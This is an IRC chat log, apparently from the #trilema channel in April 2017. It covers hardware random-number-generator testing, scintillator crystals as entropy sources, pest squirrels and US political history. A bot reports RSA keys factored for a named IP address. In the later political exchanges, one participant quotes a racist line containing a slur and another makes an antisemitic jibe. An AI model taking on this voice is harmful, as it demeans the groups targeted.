1646143;1492618681;mircea_popescu;and don't open the pandora's box of "imagine" lest you fall under a hail of arrows wrt irl "alternatives" in compouting. 1646144;1492618682;asciilifeform;( asciilifeform is in the process of exterminating some squirrels and finding them to be surprisingly clever ) 1646145;1492618688;mircea_popescu;(spelling intentional) 1646146;1492618721;mircea_popescu;only reason asciilifeform finds squirrels cleverness suprising is because he himself is shockingly sheltered. 1646147;1492618729;asciilifeform;mircea_popescu: the q of 'live there people sufficiently non-stupid to make alternative' is separate from 'is there alternative' 1646148;1492618736;mircea_popescu;but perhaps now you earn some respect for my bottled mouse! 1646149;1492618737;asciilifeform;we're talking of deterministic machine, neh. 1646150;1492618742;mircea_popescu;neh. 1646151;1492618748;asciilifeform;mircea_popescu: in point of fact i dealt with mice for years and have plenty of respect. 1646152;1492618768;mircea_popescu;in the sense computer "is deterministic machine", so is human brain. "oh OF COURSE he'll get out of rain, what!" 1646153;1492618785;mircea_popescu;"except when he doesn't" "well yeah." 1646154;1492618792;asciilifeform;( it was surprising in vs . mice! not in the absolute. rodents are pretty interesting imho. ) 1646155;1492618804;mircea_popescu;oldest mammal line. 1646156;1492618819;mircea_popescu;point of fact, they prolly made it for longer than humans will. 1646157;1492618844;mircea_popescu;(this is not necessarily speaking of catastrophe -- humans are much more likely to progressively mutilate themselves into unrecognizability than to just extinct) 1646158;1492619004;asciilifeform;possible that already. 1646159;1492619012;mircea_popescu;aha. 1646160;1492619287;asciilifeform;( speaking of squirrel, apparently just about everything has a www 'fandom'. e.g. https://www.youtube.com/watch?v=1BQmuW03-g8 << BingoBoingo ! ) 1646161;1492619894;mircea_popescu;http://btcbase.org/log/2017-04-19#1646126 << this, incidentally, is SHOCKINGLY false. when polling the rat in the box, his clue as to how the empire is being run is very very nil. i get this is counterintuitive, but get this : romanians thought the same "common sense" nonsense and ended up with http://trilema.com/2011/procesul-ceausescu/ 1646162;1492619894;a111;Logged on 2017-04-19 16:14 asciilifeform: to an extent 1646163;1492619911;mircea_popescu;ie, in tl;dr terms : shooting for an inexistent crime the only politician who provably did not engage in it this century. 1646164;1492619940;asciilifeform;the alternative is what, exactly ? bow and to suck the cock of his holiness obummer ? 1646165;1492619943;asciilifeform;i ain't gonna. period. 1646166;1492620064;asciilifeform;just as mircea_popescu didn't care to bow to brezhnev. ( regardless of how fragmentary was his picture of how -- precisely -- brezhnev's palace decisionmaking conveyor worked. ) 1646167;1492620290;asciilifeform;incidentally this was the very substance of , iirc, nixon's argument to somebody re why he ought to bow. 'you don't have access to the mega-seekritz, how can you know that i am scum' 1646168;1492620329;asciilifeform;it, as mircea_popescu likes to say, 'does not prevail!111' 1646169;1492620369;mircea_popescu;nah. 1646170;1492620377;asciilifeform;because assessing scummitude -- of man, or entire empire -- does not require 'eating the whole egg'. 1646171;1492620395;mircea_popescu;i'm not proposing you should do anything. i am pointing out a mechanism you describe is a) part dreamdust and b) not workyirl. 1646172;1492620401;asciilifeform;i dun need to know what lincoln had for breakfast every day of his life, to say 'scum'. 1646173;1492620408;mircea_popescu;this without prejudice or anything. 1646174;1492620428;BingoBoingo;asciilifeform: in related news, Last night I saw a baby bunny hopping through the yard adorably darting in and out of cover. This morning I find bits of baby bunny fur scattered in a narrow open area between structures. Cat 1 Breeders 0 1646175;1492620439;mircea_popescu;;/ 1646176;1492620440;deedbot;http://qntra.net/2017/04/twin-suicides-grip-usian-psyche/ << Qntra - Twin Suicides Grip USian Psyche 1646177;1492620441;asciilifeform;i gotta borrow this d00d's cat 1646178;1492620471;asciilifeform;i have half dozen living in the underbrush here and they dun seem to make any palpable dent in the tree rat problem 1646179;1492620482;asciilifeform;( then again, i have no accurate idea, perhaps without cats it would be wholly unmanageable ) 1646180;1492620561;BingoBoingo;asciilifeform: I haven't seen cat since last year. Crediting kill to cat based on there being parts not eaten. 1646181;1492620573;asciilifeform;why would cat not eat'em 1646182;1492620614;BingoBoingo;asciilifeform: Because cats are spree killers whose thrill hunger exceeds their food hunger 1646183;1492620630;BingoBoingo;Owl on the other hand eats fur and all 1646184;1492620706;BingoBoingo;Anyways perhaps the alf vermin problem is filthy neighbors rather than lazy cats? 1646185;1492620761;asciilifeform;how's that 1646186;1492620809;BingoBoingo;they just produce too much food for the breeding vermin and cats simply lack time, or scale of vermin problem is bad for cat morale? 1646187;1492620826;asciilifeform;them squirrels aren't eating rubbish, no. 1646188;1492620887;BingoBoingo;Perhaps you haven't landscaped in enough ambushes and other tactical features for cats to enjoy. 1646189;1492620959;asciilifeform;not landscaped, but place came with a bunch 1646190;1492621233;mod6;Alright asciilifeform, mircea_popescu, et. al. Here's the 3rd run of the dh & ent against the third collection of ~1.1Gb of entropy. http://www.mod6.net/fg/fg-test/fg1.dieharder_run3.txt http://www.mod6.net/fg/fg-test/fg1.ent_run3.txt 1646191;1492621296;asciilifeform;looks pretty typical ^ 1646192;1492621310;asciilifeform;( 'weakness lottery' in the 'hungrier' stats. ) 1646193;1492621316;asciilifeform;speaking of which, any answer from dh author ? 1646194;1492621321;asciilifeform;mircea_popescu, mod6 ^ ? 1646195;1492621325;Framedragger;mod6: just fyi, your `dd if=/dev/ttyUSB0 of=fg1.fg3.bin` doesn't look to include that padding flag? 1646196;1492621359;mod6;Framedragger: alf's discovery of the padding flag wasn't found until after i had started this collection. 1646197;1492621365;mod6;I'm doing that test next. 1646198;1492621368;Framedragger;mod6: ah ah, gotcha! :) 1646199;1492621382;Framedragger;ah yeah, timing's mixed up in ma head 1646200;1492621413;asciilifeform;'8.000000 bits per byte ... randomlyerror 0.00 percent ... 1646201;1492621414;asciilifeform;would exceed this value 50.00 percent of the times. 1646202;1492621419;asciilifeform;' << neato 1646203;1492621432;asciilifeform;(hm, that paste got munged) 1646204;1492621434;asciilifeform;but still 1646205;1492621480;mod6;will collect like: `dd iflag=fullblock if=/dev/ttyUSB0 of=fg1.fg4.bin` 1646206;1492621505;asciilifeform;in other noose, i have a quote from chinese crystal grower, 3x3x10mm LYSO crystals @ ~8 usd ea. 1646207;1492621514;mod6;asciilifeform: yeah, 8.000000's everytime from ent. 1646208;1492621628;BingoBoingo;http://qntra.net/2017/04/twin-suicides-grip-usian-psyche/#comment-94803 1646209;1492621651;BingoBoingo; not landscaped, but place came with a bunch << Catnip is a perenial herb, gets respectable size... 1646210;1492621668;mod6;ok, collecting another ~1Gb, this time using iflag=fullblock 1646211;1492621676;mod6;will report back in ~1 day 1646212;1492621711;*;Framedragger will move ass time permitting and collect his 1gb, too 1646213;1492621726;jurov;can fuckgoat be overclocked? 1646214;1492621779;mod6;:D 1646215;1492622036;asciilifeform;jurov: sorta 1646216;1492622045;asciilifeform;jurov: put it near something warm. 1646217;1492622061;asciilifeform;( a few %+ ) 1646218;1492623389;mircea_popescu;asciilifeform that's actuyally cheap 1646219;1492623403;asciilifeform;ikr? 1646220;1492623405;asciilifeform;i was floored 1646221;1492623415;mircea_popescu;last time i looked at this it wouldn've been 1k+ 1646222;1492623419;mircea_popescu;and that's 90s dollars. 1646223;1492623423;asciilifeform;and each one is good for, by my current reckoning, a coupla MB/s of entropy. 1646224;1492623427;asciilifeform;just sittin' there. 1646225;1492623431;asciilifeform;(no external gamma source) 1646226;1492623456;asciilifeform;possibly a few 100Mb/s. 1646227;1492623486;mircea_popescu;well, 6.023e23 rite. 1646228;1492623511;asciilifeform;quite possibly we have usg/ru/etc. Official nyook-paranoia (detectors everywhere) mania to thank for the cheap lyso. 1646229;1492623556;mircea_popescu;that'd be the ultimate rng pump. "We have this array of matter -- think memory stick. at every given tick, each either decays or doesn't. tick here has no physical meaning, it can be shorter than measurable irrespective of measuring mechanism" 1646230;1492623576;asciilifeform;correct 1646231;1492623596;asciilifeform;the straightest way to rngize decay is to count ticks (shorter -- better) between decays, and then vonneumannize. 1646232;1492623734;asciilifeform;traditional geiger tubes, i rejected for this ( they 1) wear out quickly 2) require ~1kV dc, which has to come out of an oscillating boost converter 3) need very energetic photon to work, which means collecting radioactive crud locally, you typically won't be able to post it ) 1646233;1492623811;asciilifeform;that leaves semiconductors (pin diode) and semiconductor+scintillator combo. 1646234;1492623842;asciilifeform;one of the items on asciilifeform's back burner recently has been to properly test various variants of this. 1646235;1492623848;mircea_popescu;nah, just make ram stick with lyso instead of doped si, then read it normally. 1646236;1492623852;asciilifeform;mno. 1646237;1492623873;asciilifeform;you don't want to zap the deterministic parts. 1646238;1492623877;mircea_popescu;anti-ecc ram. "we guarantee no bits can be read as they were stored!" 1646239;1492623881;asciilifeform;(debiaser, serial encoder, etc.) 1646240;1492623907;mircea_popescu;asciilifeform that can be done in software 1646241;1492623912;asciilifeform;software ~on what~ 1646242;1492623913;mircea_popescu;i hear drupal has a library for it. 1646243;1492623918;asciilifeform;lol 1646244;1492623938;asciilifeform;at any rate you don't want mEv photons hitting your die. 1646245;1492623941;asciilifeform;from inside, or outside. 1646246;1492623949;asciilifeform;the holes are often permanent. 1646247;1492623957;mircea_popescu;so ? PERSONALIZED! 1646248;1492623972;asciilifeform;it 'goes blind' 1646249;1492623981;asciilifeform;same reason, i found, using ZnS is a mistake 1646250;1492623989;asciilifeform;it degenerates over ~decade 1646251;1492623992;mircea_popescu;anyway, run it at 70 C or so, i expect electron cloud will just eat it up, no crystal lattice deffects induced 1646252;1492623999;mircea_popescu;then again i did no math for this expect. 1646253;1492624020;asciilifeform;mircea_popescu: ~whole point of gamma rng is to divorce from electronic effects. 1646254;1492624028;mircea_popescu;there is that. 1646255;1492624035;asciilifeform;electronic one -- we have already ! 1646256;1492624036;mircea_popescu;pity, the anti-ram stick had such great sci-fi power. 1646257;1492624045;mircea_popescu;i guess this is why sci-fi is pulp rather than literature. 1646258;1492624046;asciilifeform;( mircea_popescu oughta have gotten his already, btw, or at least any day nao ) 1646259;1492624049;deedbot;http://phuctor.nosuchlabs.com/gpgkey/15D8D6376893F358B6A33931E8A2B035898FEFF90F8899F073C4E8680037D620 << Recent Phuctorings. - Phuctored: 1370...6437 divides RSA Moduli belonging to '188.134.96.26 (ssh-rsa key from 188.134.96.26 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (188x134x96x26.static-business.iz.ertelecom.ru. RU) 1646260;1492624049;deedbot;http://phuctor.nosuchlabs.com/gpgkey/15D8D6376893F358B6A33931E8A2B035898FEFF90F8899F073C4E8680037D620 << Recent Phuctorings. - Phuctored: 1502...5959 divides RSA Moduli belonging to '188.134.96.26 (ssh-rsa key from 188.134.96.26 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (188x134x96x26.static-business.iz.ertelecom.ru. RU) 1646261;1492624049;mircea_popescu;at odds with reality. 1646262;1492624103;asciilifeform;mircea_popescu: at one point we had a thread with d00d who sold 'sram as rng' iirc. 1646263;1492624108;asciilifeform;can't seem to unearth it nao. 1646264;1492624959;asciilifeform;in other lulzies, http://scintillator.lbl.gov << Official!111 american list of scintillators, with lit. citations. 1646265;1492624991;asciilifeform;^ the numberz which refer to commercially-available items -- seem to agree with the vendors'. 1646266;1492625023;asciilifeform;HfO2 << lol, where do i buy. 1646267;1492625123;asciilifeform;anyway in this application it ain't 'the best' scintillator that wins, but specifically lyso -- because it is own gamma source. 1646268;1492625144;asciilifeform;(high self-noise floor, which in any other application is a downer. but in this one -- not.) 1646269;1492625181;asciilifeform;bonus: your rng also doubles as a radio-shenanigans detector!111 1646270;1492625197;asciilifeform;(if count is substantially above the expected count -- ring the bells, yes ) 1646271;1492625885;asciilifeform;in other lulz (sequel to earlier film) -- https://topspb.tv/news/2017/04/19/v-moskve-zaderzhali-brata-vozmozhnogo-organizatora-terakta-v-metro-peterburga . 1646272;1492625885;jhvh1;Scintillating conversation! 1646273;1492625951;mircea_popescu;lol! 1646274;1492630337;ben_vulpes;asciilifeform: i'm really enjoying the notes from scintillator quest 1646275;1492630345;ben_vulpes;extremely educational 1646276;1492631007;asciilifeform;ben_vulpes: many lulzy finds. for instance, anthracene ( from coal ) is still the all-time champ. BUT you can't buy it in proper crystal, other than su-manufactured on 'ebay' ! 1646277;1492631022;ben_vulpes;oh interesting 1646278;1492631023;asciilifeform;(why ? i have nfi. maybe americans never learned how to grow it..? srsly? 19th c. process ) 1646279;1492631085;ben_vulpes;san francisco no es un pais pobre: http://68.media.tumblr.com/d10d40d189e246943eefd0a39cc0078c/tumblr_oon71r8Ttw1s2jikwo1_1280.jpg (from bruces) 1646280;1492631095;ben_vulpes;prehispanic! 1646281;1492631097;asciilifeform;or, for instance, PET/PETE plastic (as in 'soda' bottle) is a pretty good one 1646282;1492631105;asciilifeform;but go and buy a brick of it. 1646283;1492631176;asciilifeform;the immense difficulty of 'human' getting small qty. of just about anything that doesn't live in lolmart, is why i piss on people who piss on 'ebay' etc. 1646284;1492631396;asciilifeform;in other lulz, http://archive.is/f1FVJ << somebody doing 'god's own work', fleecing blueblood idiots 1646285;1492631563;asciilifeform;http://btcbase.org/log/2017-04-19#1646279 << these are found in every 'chinatown' 1646286;1492631563;a111;Logged on 2017-04-19 19:44 ben_vulpes: san francisco no es un pais pobre: http://68.media.tumblr.com/d10d40d189e246943eefd0a39cc0078c/tumblr_oon71r8Ttw1s2jikwo1_1280.jpg (from bruces) 1646287;1492631572;asciilifeform;but normally labeled in chinese, not english 1646288;1492631897;phf;fwiw, it's socially acceptable to cook cicadas in maryland, every 9 or whatever years that they come out 1646289;1492632056;mircea_popescu;ben_vulpes crickets are supposedly delicacy, yoiu can get them chocolate covered or with nuts. 1646290;1492632082;mircea_popescu;http://btcbase.org/log/2017-04-19#1646282 << you can get feeder plastic, what. 1646291;1492632082;a111;Logged on 2017-04-19 19:45 asciilifeform: but go and buy a brick of it. 1646292;1492632090;ben_vulpes;silly me 1646293;1492632091;mircea_popescu;sold by the 100k ballots. 1646294;1492632114;ben_vulpes;here i was thinking that rooting around in the dirt for grubs was for teh poors 1646295;1492632126;mircea_popescu;in other lulz, it rained so densely here antennas couldn't see each other half mile away. 1646296;1492632135;mircea_popescu;ben_vulpes you know how truffles are made ? 1646297;1492632156;ben_vulpes;found by trained pigs, no? 1646298;1492632161;mircea_popescu;in where ? 1646299;1492632181;ben_vulpes;"trees", but to answer the first question i suppose a resounding "no" 1646300;1492632188;mircea_popescu;in mud, what. 1646301;1492632198;mircea_popescu;"trees" in the sense that at the root of certain oak trees. 1646302;1492632209;ben_vulpes;at least there's a trained pig involved, that sounds like some sort of capital investment. 1646303;1492632236;ben_vulpes;also truffles are hard to find, aren't crickets farmed? or was that cockroaches 1646304;1492632252;mircea_popescu;i've no idea, not much of a fan 1646305;1492632261;mircea_popescu;azn stuff afaik 1646306;1492632285;ben_vulpes;this concludes the #trilema daily episode of ben_vulpes is wrong about everything 1646307;1492632299;mircea_popescu;see you tomorro! 1646308;1492632830;asciilifeform;http://btcbase.org/log/2017-04-19#1646293 << didja miss the part re 'humans' ? 1646309;1492632830;a111;Logged on 2017-04-19 20:01 mircea_popescu: sold by the 100k ballots. 1646310;1492632840;asciilifeform;you can buy ~anything at all, if you're willing to invest in megatonne of it. 1646311;1492632853;mircea_popescu;dude, pet is like 50 bucks a ton, buy a ton. 1646312;1492632873;asciilifeform;i dun have a 100K$ injection mold. 1646313;1492632876;asciilifeform;nor place to put it, etc. 1646314;1492632915;mircea_popescu;you might be able to buy pre-made bricks on chinazon 1646315;1492632934;asciilifeform;they dun do qty1. of anything. 1646316;1492632939;asciilifeform;it's simply not +ev for'em. 1646317;1492632956;asciilifeform;we had this thread, in re pogo's marvell cpu. 1646318;1492632960;mircea_popescu;alibaba ?! 1646319;1492633041;asciilifeform;http://wotpaste.cascadianhacker.com/pastes/X8zty/?raw=true << in embedded shitware noose. 1646320;1492633239;mircea_popescu;meanwhile in titillation today, http://68.media.tumblr.com/d60bb13709bf3c22d64d7701da9e0d40/tumblr_oogy83tEbk1sh9c67o1_1280.jpg 1646321;1492633376;mircea_popescu;aaaahahaha, guess who was invovled! http://ai.eecs.umich.edu/people/conway/TS/SPLC/SPLC-IR.html << our good friends at state-funded kgb outreach! 1646322;1492633398;danielpbarron;http://btcbase.org/log/2017-04-19#1646262 << http://log.bitcoin-assets.com/?date=15-07-2014#756992 1646323;1492633398;a111;Logged on 2014-07-15 20:17 Rassah: asciilifeform: Atmel SAM4L series running the software, with random number being generated only from SRAM, in combinaton with other things we're considering, like a salt you can add in a TXT file 1646324;1492633398;a111;Logged on 2017-04-19 17:48 asciilifeform: mircea_popescu: at one point we had a thread with d00d who sold 'sram as rng' iirc. 1646325;1492633406;asciilifeform;mircea_popescu: waiwat, involved where 1646326;1492633414;mircea_popescu;all in all, the whole conway/bailey pile of shenanigans is a fine de-facto blueprint of "activism" of the ilk every idle nobody and her star-sister's trying to engage in. 1646327;1492633414;asciilifeform;oh hey ty danielpbarron 1646328;1492633447;danielpbarron;yw 1646329;1492633455;mircea_popescu;danielpbarron it's funny how there's always a "we" ; and it's also funny the thing's always structured in the same manner. brings to mind say http://trilema.com/2013/in-which-i-discuss-things-i-have-no-idea-about/ 1646330;1492633519;mircea_popescu;asciilifeform as per link, "RAGE ON THE RIGHT A rage is growing on the right. Before it is done, untold numbers of men and women may have to die, casualties in America's ongoing culture wars. By Mark Potok, Editor, SPLC Intelligence Report". 1646331;1492633521;mircea_popescu;cca 2003. 1646332;1492633840;asciilifeform;splc is ~the~ 'j00z-hunting-crimethinkers-by-whatever-means' org in usa. 1646333;1492633885;asciilifeform;they, e.g., got the heimbach d00d (see logz) thrown out of school, various folks - from wherever they worked, etc. 1646334;1492633890;mircea_popescu;no i know. 1646335;1492633931;mircea_popescu;i was just observing that intel dug out stuff in your linkpile making my earlier position that less tenable. 1646336;1492633941;asciilifeform;aah 1646337;1492633962;mircea_popescu;"what kgb ?!" "the poverty law center dorks" "oh." 1646338;1492634055;danielpbarron;http://i.imgur.com/aaRxUD1h.jpg << for asciilifeform, i snapped this yesterday near Williamsburg MA. also possibly interesting to BingoBoingo (can you identify the vehicle i was driving) 1646339;1492634122;asciilifeform;danielpbarron: what am i looking at 1646340;1492634137;danielpbarron;the sign 1646341;1492634161;asciilifeform;iirc it is at&t euphemism for usg bugwagens , 1646342;1492634173;asciilifeform;for whom parking spot is always reserved at telco stations. 1646343;1492634213;asciilifeform;the house in the background doesn't look like a telco tho, no bars on 2nd story windows 1646344;1492634215;danielpbarron;i just watched Brazil the other night, maybe the reference is not as obvious as i thought 1646345;1492634267;asciilifeform;it was in my head, but eclipsed by reality, lol 1646346;1492634315;asciilifeform;mircea_popescu: possibly ~now~ you can picture why asciilifeform's picture of conway switched , at that time, from 'hmm, but vlsi!' to 'i wonder where conway stole the credit for vlsi' 1646347;1492634388;mircea_popescu;a lust fo powa will do strange things to habitually powerless people. 1646348;1492634413;asciilifeform;hence vavilov, aha 1646349;1492634457;asciilifeform;i'd imagine at this point in the neverending 20th c. it'd be obvious at least to literate folx, that this type of 'power grab' is about as great an idea as grabbing live hv cable . 1646350;1492634482;mircea_popescu;meanwhile in other-asian-cuisine, http://68.media.tumblr.com/bda5a1b8b2a9f884b1d07f2b1b0cb6d1/tumblr_ooep7c4QRN1ust2lpo1_1280.jpg 1646351;1492635130;danielpbarron;http://btcbase.org/log/2017-04-19#1646329 << relatedly: http://wotpaste.cascadianhacker.com/pastes/ldvN5/?raw=true 1646352;1492635130;a111;Logged on 2017-04-19 20:24 mircea_popescu: danielpbarron it's funny how there's always a "we" ; and it's also funny the thing's always structured in the same manner. brings to mind say http://trilema.com/2013/in-which-i-discuss-things-i-have-no-idea-about/ 1646353;1492635180;asciilifeform;lol. straight to oven. 1646354;1492635422;danielpbarron;http://i.imgur.com/VnfAvHih.jpg << text linked above came from this 1646355;1492635450;asciilifeform;that tattoo is really sumthn 1646356;1492635948;ben_vulpes;wow reads like an ebonics student 1646357;1492635984;ben_vulpes;> mothin fuckin uhhhh 1646358;1492636026;ben_vulpes;great scenery though. walls all the same color the landlord left 'em in. 1646359;1492636045;asciilifeform;what colour ben_vulpes's walls ? 1646360;1492636065;ben_vulpes;a few black, a few a dark green, kiddo's room is blue 1646361;1492636083;ben_vulpes;off-white above eye-level, colors below 1646362;1492636114;ben_vulpes;asciilifeform: does not twiddle living space aesthetics? 1646363;1492636138;asciilifeform;asciilifeform doesn't have much exposed wall ! 1646364;1492636148;asciilifeform;wall is this slot where you put b00kcase. 1646365;1492636165;ben_vulpes;nobody said anything about now much exposed 1646366;1492636165;asciilifeform;or lcd grids, etc 1646367;1492636176;asciilifeform;asciilifeform doesn't see much wall paint. 1646368;1492636178;ben_vulpes;guitars, but yes 1646369;1492636187;asciilifeform;guitars, sitars, swords, whichever. 1646370;1492636222;ben_vulpes;part of a balanced interior decoration diet. 1646371;1492636940;mircea_popescu;lol da fuck is this. 1646372;1492636977;mircea_popescu;anyway, random chav or w/e you call the plebs where you live. what's notable ? 1646373;1492637337;ben_vulpes;nothing, was being sarcastic 1646374;1492639357;Framedragger;re. bitbet (unsigned), http://p.bvulpes.com/pastes/csimk/?raw=true (from https://bitbet.us/bet/1361/alphago-to-beat-ke-jie-in-april/#c7085 - archive.is failing to archive this as of now) 1646375;1492639503;asciilifeform;Framedragger: http://btcbase.org/log/2017-04-18#1645407 1646376;1492639503;a111;Logged on 2017-04-18 04:36 pete_dushenski: asciilifeform: 0 word re where it was for ~2wks << "BitBet Mod 17-04-17 at 14:49 Dear BitBet users, Our apologies for the extended downtime. We underwent a ddos attack, motivated by a rather base extortion attempt (the 4th or 5th this year, but this one was unusually large). We have taken steps with our ISP to buy additional ddos protection capacity and are back to normal operations. All funds under our 1646377;1492639641;Framedragger;oh, thanks. not been a diligent reader of logs for last coupla days. 1646378;1492639649;deedbot;http://trilema.com/2017/fuckgoats-unboxing-of/ << Trilema - FUCKGOATS, unboxing of ~ 1646379;1492639658;asciilifeform;oh hey hey hey. 1646380;1492639900;mircea_popescu;:) 1646381;1492639935;mod6;pretty awesome :] 1646382;1492640004;Framedragger;that address is hella prustian 1646383;1492640022;Framedragger;proustian* 1646384;1492640549;mircea_popescu;innit though! 1646385;1492643374;ben_vulpes;in other news, portland fashioning itself as a testbed for robocar experiments 1646386;1492643403;ben_vulpes;*urban* robocar experiments! 1646387;1492643437;ben_vulpes;by which i mean a testbed for hooligans with GPUs, bad attitudes, and a cursory interest in adversarial image generation. 1646388;1492643806;mod6;do some magic, make every destination river 1646389;1492643847;asciilifeform;or the river -- a destination... 1646390;1492643943;mod6;AWS: Account has been closed. 1646391;1492643947;mod6;win. 1646392;1492644158;mircea_popescu;ben_vulpes that actually sounds pretty cool. 1646393;1492644632;ben_vulpes;pedalpalooza's coming up 1646394;1492644693;ben_vulpes;might be fun to distribute large fabric squares to bike scum that say something like "THIS PATCH HACKS ROBOCARS" with a nonsense illustration below 1646395;1492656930;mircea_popescu;and in other vintage, https://68.media.tumblr.com/59dee5b0fa46082499c5aea2a0dee150/tumblr_omaxhcNpvk1vvow1po1_1280.jpg 1646396;1492658181;BingoBoingo;!~ticker --market all 1646397;1492658186;jhvh1;BingoBoingo: Bitstamp BTCUSD last: 1205.16, vol: 6172.59109839 | BTC-E BTCUSD last: 1210.999, vol: 6126.70945 | Bitfinex BTCUSD last: 1265.2, vol: 7570.22494824 | BTCChina BTCUSD last: 1030.21, vol: 4136.78500000 | Kraken BTCUSD last: 1212.778, vol: 2144.25208046 | Volume-weighted last average: 1196.85786652 1646398;1492658198;BingoBoingo;very stabilitit 1646399;1492658341;*;asciilifeform in other noose, now has a pretty clean 'transparently mmapize arbitrary object to disk' ada thing. 1646400;1492659084;BingoBoingo;Anyways, color of paint is secondary or even tertiary concern. Promary purpose of paint is as protective coating 1646401;1492693977;asciilifeform;in other lulzies, https://archive.is/Q2dN5 1646402;1492694058;asciilifeform;'If the North Koreans hesitate to open fire, for obvious reasons of national survival and common sense, there is a back-up team of shooters, namely the Maritime Self-Defense Force of Japan. A volley of Mitsubishi anti-ship missiles should do the job of sinking the U.S. Seventh Fleet and drowning the American sailors. The news media will assign the blame on Pyongyang for the dastardly deed.' 1646403;1492694301;mircea_popescu;asciilifeform you know i've been thinking about the conway thing. it's nigh on fascinating, a perfect case of "aging engineer falls into female culture" to use the terminology of http://trilema.com/2017/menstruation-lulz/ 1646404;1492694319;mircea_popescu;totally worth writing a biography, "l. conway - from reality to convention. a life." 1646405;1492694334;asciilifeform;there was an earlier case, more familiar to asciilifeform : saharov 1646406;1492694344;mircea_popescu;can anyone dig up a contact for the fellow ? i'd actually do an interview. 1646407;1492694376;asciilifeform;http://ai.eecs.umich.edu/people/conway/conway.html << it's there 1646408;1492694392;mircea_popescu;o.O 1646409;1492694423;asciilifeform;( saharov died eons ago, however ) 1646410;1492694452;asciilifeform;( y'know, this d00d, http://ru-an.info/Photo/News/n3889/3.jpg ) 1646411;1492694514;mircea_popescu;eh, the usians also have one of these, "nuclear physicist / peace advocate" 1646412;1492694569;asciilifeform;they, unfortunately, did not have a competent set of puppeteers, and a nobel-dispensing 'international komyoonity', to put theirs on proper podium 1646413;1492694581;mircea_popescu;sure they did. 1646414;1492694596;asciilifeform;.. jimmy carter? 1646415;1492694600;asciilifeform;or who 1646416;1492694668;mircea_popescu;i thought carter was a drunk. 1646417;1492694771;mircea_popescu;rotblatt, say. 1646418;1492694783;asciilifeform;first time i hear of a rotblatt. 1646419;1492694789;mircea_popescu;o.o really ? 1646420;1492694793;asciilifeform;rly. 1646421;1492694820;mircea_popescu;!~google russell-einstein manifesto ? 1646422;1492694821;jhvh1;mircea_popescu: Statement: The Russell - Einstein Manifesto – Pugwash Conferences ...: ; Russell – Einstein Manifesto - Wikipedia: ; Russell - Einstein Manifesto: 1646423;1492694885;asciilifeform;aah them 1646424;1492694902;asciilifeform;moar limited thing. 1646425;1492694944;asciilifeform;these folx never got a podium on which to pour shit over entire american system, say, and 'dissident'ate, and gleefully preside over disassembly of usg 1646426;1492694960;asciilifeform;so not quite saharov. 1646427;1492695055;mircea_popescu;of course they did. 1646428;1492695070;asciilifeform;lolwat 1646429;1492695072;asciilifeform;on what planet 1646430;1492695106;mircea_popescu;the adventure of that unfortunate idiot bailey is exactly that -- the dissemblement of the entire system people like orlov, and like rotblatt, and like every tard in between shat on for a half century. 1646431;1492695115;asciilifeform;oppenheimer could have easily been a saharov. but instead he was stripped of his rank and given a swift kick in the arse when he took up with the left. 1646432;1492695124;mircea_popescu;it's still called the same thing, but it has ~same to do with its own history as today's russia with historical soviet union. 1646433;1492695141;mircea_popescu;!~google "what niggers want is tight pussy, loose shoes, and a warm place to shit in." 1646434;1492695143;jhvh1;mircea_popescu: Earl Butz - Wikipedia: ; Earl Butz, history's victim. - Slate: ; This Day in Quotes: The infamous quote that revealed Earl was a ...: 1646435;1492695149;mircea_popescu;^ previous system. 1646436;1492695181;asciilifeform;that -- yes, as dead as roman republic. 1646437;1492695195;mircea_popescu;s/orlov/wtf was it. arthur blair's pseudonym. 1646438;1492695203;asciilifeform;orwell 1646439;1492695205;mircea_popescu;right. 1646440;1492695220;mircea_popescu;i ended up with both mapping to "orlol" in my head now i can't distinguish irl. 1646441;1492695277;mircea_popescu;this isn't to say that the previous system was any good -- it truly was about as good as the soviet union, which is to say worse than nothing. 1646442;1492695333;asciilifeform;( http://btcbase.org/log/2014-07-07#747518 << mr mold's chronology ) 1646443;1492695333;a111;Logged on 2014-07-07 11:41 asciilifeform: usg1 - 'idealism', attempt at actual federation of independent states; usg2 - strong federal / centralized, slave states alive; usg3 - slave states zapped, vestiges of state autonomy removed, capitalism; usg4 - the one we know and love. 1646444;1492695393;mircea_popescu;in typical ignoramus fashion, he is missing the jackson us in there, annexing florida and shit. 1646445;1492695401;asciilifeform;that's 2 1646446;1492695411;mircea_popescu;i really recommend against using yarvin's mental models for anything, they're well broken. 1646447;1492695423;mircea_popescu;asciilifeform no, on the face that'd be lincoln not jackson. very different items. 1646448;1492695435;asciilifeform;lincoln -- creator of 3 1646449;1492695439;asciilifeform;fdr -- of 4 1646450;1492695439;mircea_popescu;jackson was an american. lincol was a humanitarian. 1646451;1492695459;mircea_popescu;asciilifeform fdr made 3 not 4, evidently. 4 is more or less kennedy. 1646452;1492695463;asciilifeform;i picked it up because afaik it is quite accurate. the 4 stages are quite distinguishable . 1646453;1492695480;mircea_popescu;it is only accurate if one's account of us history is made after reading it rather than before. 1646454;1492695508;mircea_popescu;there should be a book written about these "earworms" let's call it, little bits of memetic stupid that work on the innocent strictly, and reconfigure what'd have been a natural construction into stupidity. 1646455;1492695518;mircea_popescu;it's 9x% of the us education system by mass. 1646456;1492695523;asciilifeform;fdr centralized , e.g., academia, created the familiar grantola trough, magicked modern fiatola into existence. quite definitively the builder of usg4. 1646457;1492695534;mircea_popescu;we'll never agree on this point. 1646458;1492695591;mircea_popescu;in any case, roosevelt was about as fascist as mussolini 1646459;1492695622;mircea_popescu;pretty much the same ideas throughout (which is not surprising, mediocre men reflect the fashions of the age, news at 1100 ad.) 1646460;1492695645;asciilifeform;the paralytic gold confiscator was very much the undertaker of the earlier (carnegie, rockefeller, et al - producing) culture. 1646461;1492695669;mircea_popescu;yes, but that earlier is arguably the rarara monroe doctrine us "european power" of jackson 1646462;1492695701;asciilifeform;they -- had a dying spain to eat. 1646463;1492695707;asciilifeform;so naturally 'rahrah' 1646464;1492695712;mircea_popescu;aha. 1646465;1492695724;mircea_popescu;see ? but none of that LARGE and important thing is in yarvin. 1646466;1492695734;asciilifeform;sure it is. 1646467;1492695759;mircea_popescu;what can i tell ya. 1646468;1492695808;mircea_popescu;anyway, the hamilton-carnegie us has a) little to do with the jpmorgan-rockefeller us, and also entirely nothing to do with the jackson-nixon-bush us. 1646469;1492695853;mircea_popescu;this isn't a nation you're discusing, it's a spot of dog vomit, a chimera of isolated cultural 